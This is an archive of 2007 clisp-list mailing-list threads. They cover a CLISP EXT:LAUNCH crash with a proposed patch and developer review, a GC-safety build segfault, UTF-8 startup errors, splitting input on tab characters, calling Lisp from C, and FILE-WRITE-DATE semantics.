> XLIB:CLOSED-DISPLAY-P

Thanks - Klaus


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Hi,

EXT::LAUNCH seems to be the only way to read stdout *and* stderr of an
external program, so I tried it with CLISP 2.38 and it worked
nicely. I did not update CLISP for quite a while but recently updated
SuSE, got version 2.39 and found that LAUNCH crashed the
interpreter. The same happend with the current CVS version (2.41).
Debugging of the CLISP sources revealed some strange STACK behaviour
in stream.d:mkops_from_handles which I was able to fix with the
included patch at the end of this mail.

Some comments concerning this patch would be very appreciated since it
was more wild guessing and fixing by analogy than anything else. From
my C perspective the code should be equivalent, but it makes (at least
here) a huge difference.

Btw. I wasn't able to build a GC-safety checking version of CLISP as
described in http://clisp.cons.org/impnotes/gc-safety.html. The built
lisp.run executable which is used to compile the lisp sources
immediately crashed with SIGSEGV. (Sorry, but I did not save the stack
backtrace) 


clisp --version:

> GNU CLISP 2.41 (2006-10-13) (built 3381077956) (memory 3381078242)
> Software: GNU-C 4.1.2 20061115 (prerelease) (SUSE Linux)
> gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE -DDYNAMIC_FFI -I. -L/home/local/lib  -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl   -L/home/local/lib -lsigsegv -lc -R/home/local/lib -L/usr/lib64
> SAFETY=0 TYPECODES WIDE GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
> libsigsegv 2.2
> libreadline 5.1
> Features:
> (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
>  SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
> C Modules: (clisp i18n syscalls regexp readline)
> Installation directory: /home/local/lib/clisp-2.41/
> User language: ENGLISH
> Machine: X86_64 (X86_64) tristan.br-automation.com [127.0.0.2]



Regards,

Marco




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--- src/stream.d	6 Feb 2007 03:24:48 -0000	1.576
+++ src/stream.d	21 Feb 2007 20:44:48 -0000
@@ -13043,18 +13043,19 @@ global maygc void mkops_from_handles (Ha
   # Check and canonicalize the :EXTERNAL-FORMAT argument:
   STACK_2 = test_external_format_arg(STACK_2);
   STACK_0 = allocate_handle(opipe);
+  var object stream;
   if (buffered > 0) {
-    pushSTACK(make_buffered_stream(strmtype_pipe_out,DIRECTION_OUTPUT,
-                                  &eltype,false,false));
-    BufferedPipeStream_init(STACK_0);
+    stream = make_buffered_stream(strmtype_pipe_out,DIRECTION_OUTPUT,
+                                  &eltype,false,false);
+    BufferedPipeStream_init(stream);
   } else {
-    pushSTACK(make_unbuffered_stream(strmtype_pipe_out,DIRECTION_OUTPUT,
-                                    &eltype,false,false));
-    UnbufferedPipeStream_output_init(STACK_0);
-  }
-  ChannelStreamLow_close(STACK_0) = &low_close_pipe;
-  TheStream(STACK_0)->strm_pipe_pid = UL_to_I(process_id);
-  add_to_open_streams(STACK_0); /* return stream */
+    stream = make_unbuffered_stream(strmtype_pipe_out,DIRECTION_OUTPUT,
+                                    &eltype,false,false);
+    UnbufferedPipeStream_output_init(stream);
+  }
+  ChannelStreamLow_close(stream) = &low_close_pipe;
+  TheStream(stream)->strm_pipe_pid = UL_to_I(process_id);
+  pushSTACK(add_to_open_streams(stream)); /* return stream */
 }
 
 /* mkips_from_handles(pipe,process_id)
@@ -13077,18 +13078,19 @@ global maygc void mkips_from_handles (Ha
   # Check and canonicalize the :EXTERNAL-FORMAT argument:
   STACK_2 = test_external_format_arg(STACK_2);
   STACK_0 = allocate_handle(ipipe);
+  var object stream;
   if (buffered >= 0) {
-    pushSTACK(make_buffered_stream(strmtype_pipe_in,DIRECTION_INPUT,
-                                  &eltype,false,false));
-    BufferedPipeStream_init(STACK_0);
+    stream = make_buffered_stream(strmtype_pipe_in,DIRECTION_INPUT,
+                                  &eltype,false,false);
+    BufferedPipeStream_init(stream);
   } else {
-    pushSTACK(make_unbuffered_stream(strmtype_pipe_in,DIRECTION_INPUT,
-                                    &eltype,false,false));
-    UnbufferedPipeStream_input_init(STACK_0);
-  }
-  ChannelStreamLow_close(STACK_0) = &low_close_pipe;
-  TheStream(STACK_0)->strm_pipe_pid = UL_to_I(process_id);
-  add_to_open_streams(STACK_0); /* return stream */
+    stream = make_unbuffered_stream(strmtype_pipe_in,DIRECTION_INPUT,
+                                    &eltype,false,false);
+    UnbufferedPipeStream_input_init(stream);
+  }
+  ChannelStreamLow_close(stream) = &low_close_pipe;
+  TheStream(stream)->strm_pipe_pid = UL_to_I(process_id);
+  pushSTACK(add_to_open_streams(stream)); /* return stream */
 }
 
 


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Hi,

Marco Gidde wrote:
> 
> EXT::LAUNCH seems to be the only way to read stdout *and* stderr of an
> external program, so I tried it with CLISP 2.38 and it worked
> nicely. I did not update CLISP for quite a while but recently updated
> SuSE, got version 2.39 and found that LAUNCH crashed the
> interpreter. The same happend with the current CVS version (2.41).

could you please supply a stand-alone test case?

> Debugging of the CLISP sources revealed some strange STACK behaviour
> in stream.d:mkops_from_handles which I was able to fix with the
> included patch at the end of this mail.

could you please be more specific? what was strange?

> Btw. I wasn't able to build a GC-safety checking version of CLISP as
> described in http://clisp.cons.org/impnotes/gc-safety.html. The built

WFM.

> lisp.run executable which is used to compile the lisp sources
> immediately crashed with SIGSEGV.

could you please debug it?

> diff -u -3 -p -a -u -r1.576 stream.d
> --- src/stream.d	6 Feb 2007 03:24:48 -0000	1.576
> +++ src/stream.d	21 Feb 2007 20:44:48 -0000
> -  TheStream(STACK_0)->strm_pipe_pid = UL_to_I(process_id);
> -  add_to_open_streams(STACK_0); /* return stream */
> +  TheStream(stream)->strm_pipe_pid = UL_to_I(process_id);
> +  pushSTACK(add_to_open_streams(stream)); /* return stream */

you cannot do this.
1. UL_to_I maygc ==> RHS must be GC-safe.
2. add_to_open_streams plays with STACK, so it cannot be mixed with 
pushSTACK in the same statement.





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Sam Steingold <sds@gnu.org> writes:
> Marco Gidde wrote:
>> EXT::LAUNCH seems to be the only way to read stdout *and* stderr of
>> an
>> external program, so I tried it with CLISP 2.38 and it worked
>> nicely. I did not update CLISP for quite a while but recently updated
>> SuSE, got version 2.39 and found that LAUNCH crashed the
>> interpreter. The same happend with the current CVS version (2.41).
>
> could you please supply a stand-alone test case?

[1]> (ext::launch "ls" :output :pipe)
21024 ;
NIL ;
#<ENCODING CHARSET:UTF-8 :UNIX> ;
NIL
[2]> (con<TAB> segmentation fault

Instead of an encoding a stream should be returned. After that CLISP
is completely mixed up and crashes when trying to get the tab
expansion of CON (or anything else).

>> Debugging of the CLISP sources revealed some strange STACK behaviour
>> in stream.d:mkops_from_handles which I was able to fix with the
>> included patch at the end of this mail.
>
> could you please be more specific? what was strange?

The relevant code in stream.d lookes like this:

local maygc object make_buffered_stream (uintB type, direction_t direction,
                                         const decoded_el_t* eltype,
                                         bool handle_regular,
                                         bool handle_blockpositioning) {
...
  # allocate Stream:
  var object stream = allocate_stream(flags,type,strm_channel_len,xlen);
...
  skipSTACK(1);
  return stream;
}


global maygc void mk[io]ps_from_handles (Handle opipe, int process_id) {
...
  if (buffered > 0) {
    pushSTACK(make_buffered_stream(strmtype_pipe_out,DIRECTION_OUTPUT,
                                  &eltype,false,false));
    BufferedPipeStream_init(STACK_0);
  } else {
...
}

make_buffered_stream reads three elements from STACK and returns the
stream object. mk[io]ps_from_handles should push this stream on STACK
but pushes something else (UNBOUND or the ENCODING above).

>> Btw. I wasn't able to build a GC-safety checking version of CLISP as
>> described in http://clisp.cons.org/impnotes/gc-safety.html. The built
>
> WFM.
>
>> lisp.run executable which is used to compile the lisp sources
>> immediately crashed with SIGSEGV.
>
> could you please debug it?

If I find some time. Right now I'm not so keen on it.

>> diff -u -3 -p -a -u -r1.576 stream.d
>> --- src/stream.d	6 Feb 2007 03:24:48 -0000	1.576
>> +++ src/stream.d	21 Feb 2007 20:44:48 -0000
>> -  TheStream(STACK_0)->strm_pipe_pid = UL_to_I(process_id);
>> -  add_to_open_streams(STACK_0); /* return stream */
>> +  TheStream(stream)->strm_pipe_pid = UL_to_I(process_id);
>> +  pushSTACK(add_to_open_streams(stream)); /* return stream */
>
> you cannot do this.
> 1. UL_to_I maygc ==> RHS must be GC-safe.

Do you mean LHS? If not, what is not GC-safe on the RHS?

> 2. add_to_open_streams plays with STACK, so it cannot be mixed with
> pushSTACK in the same statement.

So 2. also applies to the pushSTACK(make_buffered_stream(...))
statements in mk[io]ps_from_handles? Is there some more verbose
explanation of what is allowed and what isn't than
impnotes/gc-safety.html?


Regards,

Marco


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Marco Gidde wrote:
> 
> [1]> (ext::launch "ls" :output :pipe)
> 21024 ;
> NIL ;
> #<ENCODING CHARSET:UTF-8 :UNIX> ;
> NIL
> [2]> (con<TAB> segmentation fault
> 
> Instead of an encoding a stream should be returned. After that CLISP
> is completely mixed up and crashes when trying to get the tab
> expansion of CON (or anything else).

should be fixed in the CVS head, thanks.
http://sourceforge.net/tracker/index.php?func=detail&aid=1666509&group_id=1355&atid=101355


> So 2. also applies to the pushSTACK(make_buffered_stream(...))
> statements in mk[io]ps_from_handles? Is there some more verbose
> explanation of what is allowed and what isn't than
> impnotes/gc-safety.html?

http://clisp.podval.org/impnotes/gc-safety.html#gc-lisp-in-C


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Sam Steingold <sds@gnu.org> writes:

> should be fixed in the CVS head, thanks.
> http://sourceforge.net/tracker/index.php?func=detail&aid=1666509&group_id=1355&atid=101355

It works now. Thanks!

>> So 2. also applies to the pushSTACK(make_buffered_stream(...))
>> statements in mk[io]ps_from_handles? Is there some more verbose
>> explanation of what is allowed and what isn't than
>> impnotes/gc-safety.html?
>
> http://clisp.podval.org/impnotes/gc-safety.html#gc-lisp-in-C

:-)


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Sam Steingold <sds@gnu.org> writes:
>> Btw. I wasn't able to build a GC-safety checking version of CLISP as
>> described in http://clisp.cons.org/impnotes/gc-safety.html. The built
>
> WFM.
>
>> lisp.run executable which is used to compile the lisp sources
>> immediately crashed with SIGSEGV.
>
> could you please debug it?

The crash happens quite early:

...
(gdb) show args
Argument list to give program being debugged when it is started is "-B . -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW".
(gdb) bt
#0  0x0000000000815eac in with_gc_statistics (fun=0x442940 <do_gar_col_simple>)
    at lispbibl.d:4179
#1  0x0000000000405048 in gar_col_simple () at spvw_garcol.d:2405
#2  0x000000000040e5c7 in make_space_gc_true (need=72, heapptr=0xbe5a08)
    at spvw_allocate.d:219
#3  0x0000000000411285 in allocate_vector (len=7) at spvw_typealloc.d:89
#4  0x00000000004112b3 in init_subr_tab_2 () at subrkw.d:7
#5  0x00000000004286f7 in initmem () at spvw.d:1497
#6  0x000000000043f66c in init_memory (p=0xbe6ab0) at spvw.d:2928
#7  0x000000000044709e in main (argc=<value optimized out>, argv=0x7fff9d293be8)
    at spvw.d:3268
(gdb) p inside_gc
$5 = false

Feel free to ask for more details if necessary.


Regards,

Marco


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Marco Gidde wrote:
> The crash happens quite early:
> 
> ...
> (gdb) show args
> Argument list to give program being debugged when it is started is "-B . -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW".
> (gdb) bt
> #0  0x0000000000815eac in with_gc_statistics (fun=0x442940 <do_gar_col_simple>)
>     at lispbibl.d:4179
> #1  0x0000000000405048 in gar_col_simple () at spvw_garcol.d:2405
> #2  0x000000000040e5c7 in make_space_gc_true (need=72, heapptr=0xbe5a08)
>     at spvw_allocate.d:219
> #3  0x0000000000411285 in allocate_vector (len=7) at spvw_typealloc.d:89
> #4  0x00000000004112b3 in init_subr_tab_2 () at subrkw.d:7
> #5  0x00000000004286f7 in initmem () at spvw.d:1497
> #6  0x000000000043f66c in init_memory (p=0xbe6ab0) at spvw.d:2928
> #7  0x000000000044709e in main (argc=<value optimized out>, argv=0x7fff9d293be8)
>     at spvw.d:3268
> (gdb) p inside_gc
> $5 = false
> 
> Feel free to ask for more details if necessary.

could you please file a separate self-contained bug report on this?
http://clisp.cons.org/impnotes/faq.html#faq-bugs
http://clisp.cons.org/impnotes/clisp.html#bugs
http://sourceforge.net/tracker/?group_id=1355&atid=101355

Thanks,
Sam.



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Sam Steingold <sds@gnu.org> writes:
> could you please file a separate self-contained bug report on this?
> http://clisp.cons.org/impnotes/faq.html#faq-bugs
> http://clisp.cons.org/impnotes/clisp.html#bugs
> http://sourceforge.net/tracker/?group_id=1355&atid=101355

It's the same as 
http://sourceforge.net/tracker/index.php?func=detail&aid=1385641&group_id=1355&atid=101355


Regards,

Marco


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> * Marco Gidde <znepb.tvqqr@gvfpnyv.qr> [2007-02-24 15:49:58 +0100]:
>
> Sam Steingold <sds@gnu.org> writes:
>> could you please file a separate self-contained bug report on this?
>> http://clisp.cons.org/impnotes/faq.html#faq-bugs
>> http://clisp.cons.org/impnotes/clisp.html#bugs
>> http://sourceforge.net/tracker/?group_id=1355&atid=101355
>
> It's the same as 
> http://sourceforge.net/tracker/index.php?func=detail&aid=1385641&group_id=1355&atid=101355

what's your platform? amd64 also?

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Sam Steingold <sds@gnu.org> writes:
> what's your platform? amd64 also?

Yep

> cat /proc/cpuinfo
processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 15
model           : 28
model name      : Mobile AMD Athlon(tm) 64 Processor 3000+
stepping        : 0
cpu MHz         : 800.000
cache size      : 512 KB
fpu             : yes
fpu_exception   : yes
cpuid level     : 1
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow up lahf_lm
bogomips        : 1593.49
TLB size        : 1024 4K pages
clflush size    : 64
cache_alignment : 64
address sizes   : 40 bits physical, 48 bits virtual
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*                   Dynamic Languages Symposium 2007                   *
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Hello experts!

Has anybody encountered this behavior after launching the clisp?

> stefan:~ $ clisp
>   i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
>   I I I I I I I      8     8   8           8     8     o  8    8
>   I  \ `+' /  I      8         8           8     8        8    8
>    \  `-+-'  /       8         8           8      ooooo   8oooo
>     `-__|__-'        8         8           8           8  8
>         |            8     o   8           8     o     8  8
>   ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

> Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
> Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
> Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
> Copyright (c) Bruno Haible, Sam Steingold 1999-2000
> Copyright (c) Sam Steingold, Bruno Haible 2001-2006


> *** - invalid byte sequence #xE1 #x6B #x20 in CHARSET:UTF-8 conversion
> The following restarts are available:
> ABORT          :R1      ABORT
> ABORT          :R2      ABORT
> Break 1 [3]> 

I'm using openSUSE 10.2, kernel-2.6.18, clisp version 2.39.

Thank you for any hints or explanations.

Regards
Stefan



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Marek Stefan wrote:
> Has anybody encountered this behavior after launching the clisp?
> 
>> stefan:~ $ clisp
> 
>> *** - invalid byte sequence #xE1 #x6B #x20 in CHARSET:UTF-8 conversion
>> The following restarts are available:
>> ABORT          :R1      ABORT
>> ABORT          :R2      ABORT
>> Break 1 [3]> 
> 
> I'm using openSUSE 10.2, kernel-2.6.18, clisp version 2.39.

http://clisp.cons.org/impnotes/faq.html#faq-enc-err
(look for non-UTF chars in pathnames)

your question was answered with an FAQ link.
the fine for asking questions before consulting the FAQ list is $10.




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Sam Steingold writes:
> Marek Stefan wrote:
> > Has anybody encountered this behavior after launching the clisp?
> > 
> >> stefan:~ $ clisp
> > 
> >> *** - invalid byte sequence #xE1 #x6B #x20 in CHARSET:UTF-8 conversion
> >> The following restarts are available:
> >> ABORT          :R1      ABORT
> >> ABORT          :R2      ABORT
> >> Break 1 [3]> 
> > 
> > I'm using openSUSE 10.2, kernel-2.6.18, clisp version 2.39.
> 
> http://clisp.cons.org/impnotes/faq.html#faq-enc-err
> (look for non-UTF chars in pathnames)
> 
> your question was answered with an FAQ link.
> the fine for asking questions before consulting the FAQ list is $10.

Perhaps it would be a good idea to add this link to this very error message,
at least when it appears before the first prompt...

-- 
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>> Has anybody encountered this behavior after launching the clisp?
>>
>>> stefan:~ $ clisp
>>
>>> *** - invalid byte sequence #xE1 #x6B #x20 in CHARSET:UTF-8
> conversion
>>> The following restarts are available:
>>> ABORT          :R1      ABORT
>>> ABORT          :R2      ABORT
>>> Break 1 [3]>
>> I'm using openSUSE 10.2, kernel-2.6.18, clisp version 2.39.
>
> http://clisp.cons.org/impnotes/faq.html#faq-enc-err(look for non-UTF chars in pathnames)
>
> your question was answered with an FAQ link.
> the fine for asking questions before consulting the FAQ list is $10.

Oh, sorry. Thank you!
Stefan



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Marek Stefan wrote:
>>> Has anybody encountered this behavior after launching the clisp?
>>>
>>>> stefan:~ $ clisp
>>>> *** - invalid byte sequence #xE1 #x6B #x20 in CHARSET:UTF-8
>> conversion
>>>> The following restarts are available:
>>>> ABORT          :R1      ABORT
>>>> ABORT          :R2      ABORT
>>>> Break 1 [3]>
>>> I'm using openSUSE 10.2, kernel-2.6.18, clisp version 2.39.
>> http://clisp.cons.org/impnotes/faq.html#faq-enc-err(look for non-UTF chars in pathnames)
>>
>> your question was answered with an FAQ link.
>> the fine for asking questions before consulting the FAQ list is $10.
> 
> Oh, sorry. Thank you!

http://clisp.podval.org/impnotes/faq.html#faq-fine





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Sam Steingold wrote:
>> For example, cl:disassemble doesn't dump the local and anonymous
>> functions defined in a function.
>LOCAL macro is what you are looking for.
>[7]> (defun f (a l) (flet ((g (x) (* a x))) (mapcar #'g l)))
>[8]> (disassemble 'f)
>[9]> (disassemble (local f g))

Long time ago, Bruno Haible pointed me to
(sys::disassemble-closures #<your-COMPILED-closure> *standard-output*)
It's been working ever since.

Maybe an extra keyword argument ot DISASSEMBLE would be nice?  But I
forgot what CLHS has to say on extensions to its standard functions.

FWIW, there's also that non-standard DECLARE extension to have the
REPL's interpreter compile what you give it:
(defun f (a l) (declare (compile)) (flet ((g (x) (* a x))) (mapcar #'g
l)))
This also works inside LET, LAMBDA or any other form that accepts
declarations.
(mapcar (lambda(x)(declare(compile))...) #)
This is quite handy in the interactive environment here and there.

Regards,
	Jorg Hohle.


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Hello,

when I run the LISP program below

#!/usr/bin/clisp -C

(DEFPACKAGE "REGEXP-TEST" (:use "LISP" "REGEXP"))
(IN-PACKAGE "REGEXP-TEST")
(with-open-file (f "test.txt")
    (with-loop-split (s f "\t")
    (print s)))
on

Hello	world
Hello	goodbye
Hello	Dolly

where each line contains a word, a tab, and another word


I get

("Hello world")
("Hello goodbye")
("Hello Dolly")

How do you specify a tab in with-loop-split?

Many thanks.

phiroc










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phiroc@free.fr writes:
> (DEFPACKAGE "REGEXP-TEST" (:use "LISP" "REGEXP"))
> (IN-PACKAGE "REGEXP-TEST")
> (with-open-file (f "test.txt")
>     (with-loop-split (s f "\t")
>     (print s)))
> How do you specify a tab in with-loop-split?

Read again the specifications of Common Lisp.  You're not in C anymore.
http://www.lispworks.com/documentation/HyperSpec/Body/02_de.htm

    If a single escape character is seen, the single escape character
    is discarded, the next character is accumulated, and accumulation
    continues. 

Try:

   (princ "\t")


TAB may mean nothing on some systems where Common Lisp works.

TAB is a control code in the ASCII (and therefore ISO-8859 and
therefore Unicode) character encoding, but on systems where these
encodings are not used, TAB may well not exist, and nowadays, very few
devices still exist interpreting such a control code.  It was used to
control the movement of the carriage on a teletype.  When was the last
time you used a teletype?


Anyways, you're still lucky.  In the implementations that have such a
control code, its mapped to a Common Lisp character with a standard
name: #\tab

And clisp is one of them.


So you can insert such a control code in a Common Lisp or clisp
program like this:

  (format nil "before TAB >~C< after TAB" #\tab)

If you want a string with only a TAB control code in it: 

(defparameter *tab* (format nil "~C" #\tab))
; or:
(defparameter *tab* (make-string 1 :initial-element #\tab))



Note that when you want to split a string on a single character, you
can use split-sequence (from the separately provided, de-facto
standard split-sequence package):

(split-sequence:split-sequence #\tab some-string)




Finally, I like to write portable programs, so I wouldn't use #\tab
without first testing if it exists:

(defun tab-exists-p ()
  (ignore-errors (read-from-string "#\tab")))

Then I could write:

(defparameter *tab* (or (tab-exists-p)
                        (make-my-own-object-representing-something-like-tab-to-do-whatever-I-might-want-to-do-with-such-a-thing)))


-- 
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Thanks for the information.

(format nil "~C" #\tab) did the trick.


phiroc



#!/usr/bin/clisp -C

(DEFPACKAGE "REGEXP-TEST" (:use "LISP" "REGEXP"))
(IN-PACKAGE "REGEXP-TEST")
(with-open-file (f "test.txt")
    (with-loop-split (s f (format nil "~C" #\tab))
    (print s)))





Quoting Pascal Bourguignon <pjb@informatimago.com>:

> phiroc@free.fr writes:
> > (DEFPACKAGE "REGEXP-TEST" (:use "LISP" "REGEXP"))
> > (IN-PACKAGE "REGEXP-TEST")
> > (with-open-file (f "test.txt")
> >     (with-loop-split (s f "\t")
> >     (print s)))
> > How do you specify a tab in with-loop-split?
>
> Read again the specifications of Common Lisp.  You're not in C anymore.
> http://www.lispworks.com/documentation/HyperSpec/Body/02_de.htm
>
>     If a single escape character is seen, the single escape character
>     is discarded, the next character is accumulated, and accumulation
>     continues.
>
> Try:
>
>    (princ "\t")
>
>
> TAB may mean nothing on some systems where Common Lisp works.
>
> TAB is a control code in the ASCII (and therefore ISO-8859 and
> therefore Unicode) character encoding, but on systems where these
> encodings are not used, TAB may well not exist, and nowadays, very few
> devices still exist interpreting such a control code.  It was used to
> control the movement of the carriage on a teletype.  When was the last
> time you used a teletype?
>
>
> Anyways, you're still lucky.  In the implementations that have such a
> control code, its mapped to a Common Lisp character with a standard
> name: #\tab
>
> And clisp is one of them.
>
>
> So you can insert such a control code in a Common Lisp or clisp
> program like this:
>
>   (format nil "before TAB >~C< after TAB" #\tab)
>
> If you want a string with only a TAB control code in it:
>
> (defparameter *tab* (format nil "~C" #\tab))
> ; or:
> (defparameter *tab* (make-string 1 :initial-element #\tab))
>
>
>
> Note that when you want to split a string on a single character, you
> can use split-sequence (from the separately provided, de-facto
> standard split-sequence package):
>
> (split-sequence:split-sequence #\tab some-string)
>
>
>
>
> Finally, I like to write portable programs, so I wouldn't use #\tab
> without first testing if it exists:
>
> (defun tab-exists-p ()
>   (ignore-errors (read-from-string "#\tab")))
>
> Then I could write:
>
> (defparameter *tab* (or (tab-exists-p)
>
>
(make-my-own-object-representing-something-like-tab-to-do-whatever-I-might-want-to-do-with-such-a-thing)))
>
>
> --
> __Pascal Bourguignon__
> http://www.informatimago.com
> http://pjb.ogamita.org
>




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Dear all,

I want to use clisp from C (actually from Tcl and Perl, oh, dont ask why :)

I have installed clisp on my Woe32 but see no "lib" files there where I
could link my C binaries against.

I am aware of other way round - when LISP calls C functions using FFI,
but this time I need to call LISP from C.

Thanks in advance for any advices on the matter.

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Vadim wrote:
> I want to use clisp from C

http://clisp.cons.org/impnotes/dffi.html#def-call-in
http://clisp.cons.org/impnotes/dffi.html#ex-call-in
http://clisp.cons.org/impnotes/dffi.html#ex-call-in-dll

http://clisp.podval.org/impnotes/faq.html#faq-fine



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Sam Steingold wrote:

> Vadim wrote:
>
>> I want to use clisp from C
>
>
> http://clisp.cons.org/impnotes/dffi.html#def-call-in
> http://clisp.cons.org/impnotes/dffi.html#ex-call-in
> http://clisp.cons.org/impnotes/dffi.html#ex-call-in-dll


thanks a lot

>
> http://clisp.podval.org/impnotes/faq.html#faq-fine
>


Interestingly, my printed copy do not contain this particular section
about $10 (it starts directly from the question "documentation sucks" :)

The documentation is really good, and, donating some $10 is reasonable
indeed.
I have problems transferring the money, however,
but once you'll be in St.Petersburg (Russia) or I will be eventually in
some lisp conference, be sure to get a number of quality beer from me!

Until then, I will try compensate by applying my weak efforts on helping
with CLISP itself.

With deepest respect,
Vadim.




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Hello,

  I am trying to get the "Paradigms of Artificial Intelligence
Programming" source code on CLisp. I am getting errors when trying to
load the code for the following reason:

the code checks for existence of files by calling (file-write-date
pathname). It expects that if the file is not there, the value of that
form will be NIL. However, CLISP's implementation causes an error,
which prevents the rest of the code from loading (the code is not
written with an unwind-protect)

[1]> (file-write-date "/bin/ping")
3307624094
[2]> (file-write-date "/bin/ping2")

*** - FILE-WRITE-DATE: file #P"/bin/ping2" does not exist
The following restarts are available:
ABORT          :R1      ABORT

My installation of Allegro Common Lisp returns NIL in the second
(non-existent file) case.

The hyperspec (http://www.lisp.org/HyperSpec/Body/fun_file-write-date.html)
says:

--start quote--
Description:

Returns a universal time representing the time at which the file
specified by pathspec was last written (or created), or returns nil if
such a time cannot be determined.
--snip--
An error of type file-error is signaled if the file system cannot
perform the requested operation.
--end quote--

My specific question is - is this a known ambiguity in the
specification of ANSI CL, and different implementations purposefully
choose different results, is this an oversight of the authors of PAIP,
or is this a CLisp issue?

clisp --version
GNU CLISP 2.38 (2006-01-24) (built 3356591968) (memory 3382404154)
Software: GNU C 3.3.5 (Debian 1:3.3.5-13)
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
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   On 3/23/07, Devon Sean McCullough <Lisp-hacker@jovi.net> wrote:
   ... HyperSpec/Issues/iss267_w.htm

   Date: Fri, 23 Mar 2007 18:27:44 -0400
   From: "Yuri Niyazov" <yuricake@gmail.com>
   ... talks about ... wildcards ... only ...

My mistake.  I thought it covered how loosely or tightly to specify
the file system interface.  They failed to reach consensus so each
implementor must extend pathname and file system access which are
unusably lame as under-specified.  The lack of a standard way to
map, e.g., unix pathnames foo <-> foo/ is beyond comprehension.
Scheme did a good job, perhaps there is a portable Common Lisp
package that implements Schemish pathname-as-directory, etc.?

		Peace
			--Devon
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	Dubya won the digital vote
	Kerry won the popular vote

PS: I imagine this issue was beaten to death years ago,
well I wish but still no clear consensus.
Maybe at the next Lisp conference?

Date: Fri, 23 Mar 2007 18:27:44 -0400
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Hi Devon,

Thank you for the prompt reply.

Can you be more specific by what you mean? I just read through that
document - it talks about issues surrounding wildcards in paths only -
it does mention file-write-date once, but still only in context of its
behavior with regards to wildcards, whereas my question is not
wildcard-related.

YN.

On 3/23/07, Devon Sean McCullough <Lisp-hacker@jovi.net> wrote:
> Look at HyperSpec/Issues/iss267_w.htm
> for discussion by the committee
> while writing the spec.
>
>                 Peace
>                         --Devon
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>           X     not warfare
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>
>         Dubya won the digital vote
>         Kerry won the popular vote
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> Date: Fri, 23 Mar 2007 17:37:45 -0400
> From: "Yuri Niyazov" <yuricake@gmail.com>
> To: clisp-list@lists.sourceforge.net
> X-Google-Sender-Auth: 1e068b84a2aabd3a
> Subject: [clisp-list] question about CLISP's implementation of file-write-date
>
> Hello,
>
>   I am trying to get the "Paradigms of Artificial Intelligence
> Programming" source code on CLisp. I am getting errors when trying to
> load the code for the following reason:
>
> the code checks for existence of files by calling (file-write-date
> pathname). It expects that if the file is not there, the value of that
> form will be NIL. However, CLISP's implementation causes an error,
> which prevents the rest of the code from loading (the code is not
> written with an unwind-protect)
>
> [1]> (file-write-date "/bin/ping")
> 3307624094
> [2]> (file-write-date "/bin/ping2")
>
> *** - FILE-WRITE-DATE: file #P"/bin/ping2" does not exist
> The following restarts are available:
> ABORT          :R1      ABORT
>
> My installation of Allegro Common Lisp returns NIL in the second
> (non-existent file) case.
>
> The hyperspec (http://www.lisp.org/HyperSpec/Body/fun_file-write-date.html)
> says:
>
> --start quote--
> Description:
>
> Returns a universal time representing the time at which the file
> specified by pathspec was last written (or created), or returns nil if
> such a time cannot be determined.
> --snip--
> An error of type file-error is signaled if the file system cannot
> perform the requested operation.
> --end quote--
>
> My specific question is - is this a known ambiguity in the
> specification of ANSI CL, and different implementations purposefully
> choose different results, is this an oversight of the authors of PAIP,
> or is this a CLisp issue?
>
> clisp --version
> GNU CLISP 2.38 (2006-01-24) (built 3356591968) (memory 3382404154)
> Software: GNU C 3.3.5 (Debian 1:3.3.5-13)
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations
> -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -I. -x none libcharset.a
> libavcall.a libcallback.a /usr/lib/libreadline.so -lncurses -ldl
> -L/usr/lib -lsigsegv -L/usr/X11R6/lib -lX11
> SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS
> SPVW_MIXED TRIVIALMAP_MEMORY
> libreadline 5.0
> Features:
> (ASDF CLC-OS-DEBIAN COMMON-LISP-CONTROLLER CLX-ANSI-COMMON-LISP CLX
> READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP
>  CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
> LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
>  BASE-CHAR=CHARACTER PC386 UNIX)
> C Modules: (clisp i18n syscalls regexp readline linux clx)
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Hello,

how do you embed foreign accents in strings, in Clisp, ? eg, (print =20
"=E9l=E9phant").

Furthermore, how do you load files containing foreign accents ; eg


; Ce programme contient des accents =E9trangers (this program contains =20=

foreign accents)

(print "Les =E9l=E9phants sont arriv=E9s dans la ville")


Many thanks.

phiroc=


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> * Yuri Niyazov <lhevpnxr@tznvy.pbz> [2007-03-23 17:37:45 -0400]:
>
> [2]> (file-write-date "/bin/ping2")
>
> *** - FILE-WRITE-DATE: file #P"/bin/ping2" does not exist
> The following restarts are available:
> ABORT          :R1      ABORT
>
> My installation of Allegro Common Lisp returns NIL in the second
> (non-existent file) case.
>
> The hyperspec (http://www.lisp.org/HyperSpec/Body/fun_file-write-date.html)
> says:
>
> --start quote--
> Description:
>
> Returns a universal time representing the time at which the file
> specified by pathspec was last written (or created), or returns nil if
> such a time cannot be determined.
> --snip--
